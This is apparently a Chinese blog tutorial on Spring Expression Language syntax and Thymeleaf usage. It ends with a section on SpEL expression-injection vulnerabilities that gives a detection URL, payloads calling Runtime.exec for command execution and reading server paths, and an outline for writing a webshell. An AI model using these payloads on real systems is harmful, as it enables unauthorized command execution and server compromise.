一、什么是SpEL 表达式
Spring Expression Language(简称 SpEL)是一种功能强大的表达式语言、用于在运行时查询和操作对象图;语法上类似于 Unified EL,但提供了更多的特性,特别是方法调用和基本字符串模板函数。SpEL 的诞生是为了给 Spring 社区提供一种能够与 Spring 生态系统所有产品无缝对接,能提供一站式支持的表达式语言。
优点:可以在运行时查询和操作数据,尤其是数组列表型数据,因此可以缩减代码量,优化代码结构。
二、用法
SpEL有三种用法,一种是在注解@Value中;一种是XML配置;最后一种是在代码块中使用Expression。
1、获取数据;2、执行运算;3、获取web开发常用对象;4、调用Java方法
三、表达式
1. 直接量表达式
"#{'Hello World'}"
2. 直接使用java代码new/instance of
此方法只能是java.lang 下的类才可以省略包名
Expression exp = parser.parseExpression("new Spring('Hello World')");
3. 使用T(Type)
使用“T(Type)”来表示java.lang.Class实例,同样,只有java.lang 下的类才可以省略包名。此方法一般用来引用常量或静态方法
parser.parseExpression("T(Integer).MAX_VALUE");
4. 变量
获取容器内的变量,可以使用“#bean_id”来获取。有两个特殊的变量,可以直接使用。
#this 使用当前正在计算的上下文
#root 引用容器的root对象
String result2 = parser.parseExpression("#root").getValue(ctx, String.class);
String s = new String("abcdef");
ctx.setVariable("abc",s);
//取id为abc的bean,然后调用其中的substring方法
parser.parseExpression("#abc.substring(0,1)").getValue(ctx, String.class);
5. 方法调用
与Java代码没有什么区别,可见上面的例子
可以自定义方法,如下:
Method parseInt = Integer.class.getDeclaredMethod("parseInt", String.class);
ctx.registerFunction("parseInt", parseInt);
ctx.setVariable("parseInt2", parseInt);
String expression1 = "#parseInt('3') == #parseInt2('3')";
“registerFunction”和“setVariable”都可以注册自定义函数,但是两个方法的含义不一样,推荐使用“registerFunction”方法注册自定义函数。
6. 运算符表达式
算数表达式(“1+2-3*4/2″)
比较表达式(“1>2”)
逻辑表达式(“2>1 and (!true or !false)”)
赋值表达式(“#variableName=value”)
三目表达式(“表达式1?表达式2:表达式3”)
正则表达式(“123′ matches ‘\\d{3}”)
等运算符,都可以直接放在SpEL中
7. Elvis运算符
8. 安全保证
9. 集合定义
10. 集合访问
11. 集合修改
12. 集合选择
13. 集合投影
Springboot+thymeleaf+IDEA——SpEL表达式
1、基本表达式
<i th:text="${banner.imgUrl eq '1'}"></i> // 判断相等
<i th:text="${banner.id gt 1}"></i> //大于
<i th:text="${banner.id lt 2}"></i> //小于
2、算术表达式
<p th:text="${4 * 5 - 6 + 7 / 8 % 9}"></p>
3、对象导航
<p th:text="${banners[1].id}"></p>
4、对象实例化
<p th:text="${new java.util.Date().getTime()}"></p>
5、T表达式
<p th:text="${T(java.lang.Math).random()}"></p>
6、内联表达式
<p>[[${banner.id}]]</p>
四、SpEL表达式注入漏洞
检测方式:
https://www.a.com/login?a=${10-9}
表达式执行会会显在页面上,检查源码。
漏洞利用语句:
${pageContext} 对应于JSP页面中的pageContext对象(注意:取的是pageContext对象。)
${pageContext.getSession().getServletContext().getClassLoader().getResource("")} 获取web路径
${header} 文件头参数
${applicationScope} 获取webRoot
${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("命令").getInputStream())} 执行命令
渗透思路:获取webroot路径,exec执行命令echo写入一句话。
<p th:text="${#this.getClass().forName('java.lang.System').getProperty('user.dir')}"></p> //获取web路径
详细复现过程:
https://www.stdusec.com/?p=1015
https://www.cnblogs.com/litlife/archive/2018/12/27/10183137.html
参考:
https://blog.csdn.net/qq_15071263/article/details/90676604